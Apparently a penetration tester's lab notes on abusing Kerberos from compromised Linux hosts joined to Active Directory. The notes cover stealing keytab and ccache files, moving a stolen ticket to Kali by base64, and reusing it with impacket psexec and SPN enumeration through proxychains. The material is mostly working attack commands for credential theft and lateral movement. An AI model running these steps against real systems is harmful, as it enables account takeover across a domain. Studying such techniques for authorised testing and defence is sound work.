Kerberos
after AD users log in to the victim linux machine with AD credentials
Enum credential cache location: env | grep KRB5CCNAME
List currently stored tickets in credential cachefile: klist
Request TGT (need current user's AD pwd): kinit
Renew within renewal timeframe w/o pwd: kinit -R
List SPN with cached ticket:
cat /etc/krb5.conf #check realm
kvno ldap/dc01.final.com@FINAL.COM #case sensitive realm match krb5.conf
sudo echo "172.16.202.180 dc01.final.com final.com" >> /etc/hosts #for ldap connect
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D "user@CORP1.COM" -W -b "dc=corp1,dc=com" "servicePrincipalName=*" servicePrincipalName
Request service ticket (from listed SPN): kvno MSSQLSvc/DC01.corp1.com:1433
keytab
Examine the contents of files like /etc/crontab to determine which scripts are being run and then examine those scripts to see whether they are using keytabs for authentication. Paths to keytab files used in these scripts may also reveal which users are associated with which keytabs.
However, let's imagine a scenario where we've gotten root access to this box. If we discover the keytab file, we can use it maliciously to gain access to other systems as the keytab user.
kinit user@CORP1.COM -k -t /home/user/user.keytab
Ticket Usage after ticket in klist
smbclient -k -U "CORP1.COM\user_or_admin" //host_or_DC01.CORP1.COM/C$
Steal & Use Crendential Cache File (as root)
If we compromise an active user's shell session, we can essentially act as the user in question and use their current Kerberos tickets. Gaining an initial TGT would require the user's Active Directory password. However, if the user is already authenticated, we can just use their current tickets.
To authenticate by compromising a user's ccache file, a user's ccache file is stored in /tmp
with a format like /tmp/krb5cc_{random}
and is typically only accessible by the owner so it is unlikely that we will be able to steal a user's ccache file as an unprivileged user.
If we have privileged access and don't want to log in as the user in question, or we are able to read the user's files but don't have direct shell access, we can still copy the victim's ccache file and load it as our own.
We can inspect the file owners of the ccache file to determine target user to steal.
ls -la /tmp
cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow
chown compromiseduser:compromisedusergrp /tmp/krb5cc_minenow
In order to use the ccache file, we need to set the KRB5CCNAME environment variable we discussed earlier. This variable gives the path of the credential cache file so that Kerberos utilities can find it.
kdestroy
klist
export KRB5CCNAME=/tmp/krb5cc_minenow
klist
Based on the output, we now have the administrator user's TGT in our credential cache and we can request service tickets on their behalf. Now that we have the user's Kerberos tickets, we can use those tickets to authenticate to services that are Kerberos-enabled on the user's behalf.
Use in Kali
Transfer the ccache
base64 -w0 /tmp/krb5cc_607000500_3aeIA5
echo -n '{copy output from from victim}'| base64 --decode > /tmp/krb5cc_copied
Setup
export KRB5CCNAME=/tmp/krb5cc_copied
klist
sudo apt install krb5-user
host corp1.com
sudo echo ' ' >> /etc/hosts
ssh compromiseduser@jumper
Usage
python3 /usr/share/doc/python3-impacket/examples/psexec.py
proxychains impacket-psexec user@hostname_or_DC01.CORP1.COM -no-pass
-or-
proxychains python3 /usr/share/doc/python3-impacket/examples/psexec.py user@hostname_or_DC01.CORP1.COM -k -no-pass -dc-ip {dc_ip} -target-ip {target_ip}
proxychains python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5 CORP1.COM/user
proxychains python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5 CORP1.COM/user
.kirbi to ccache
impacket-ticketconverter exported.kirbi /tmp/krb5cc_kirbi
#multiple .kirbi in kirbi folder
minikerberos-kirbi2ccache ./kirbi ./krb5cc_pete
export KRB5CCNAME=`pwd`/'krb5cc_pete'
Last updated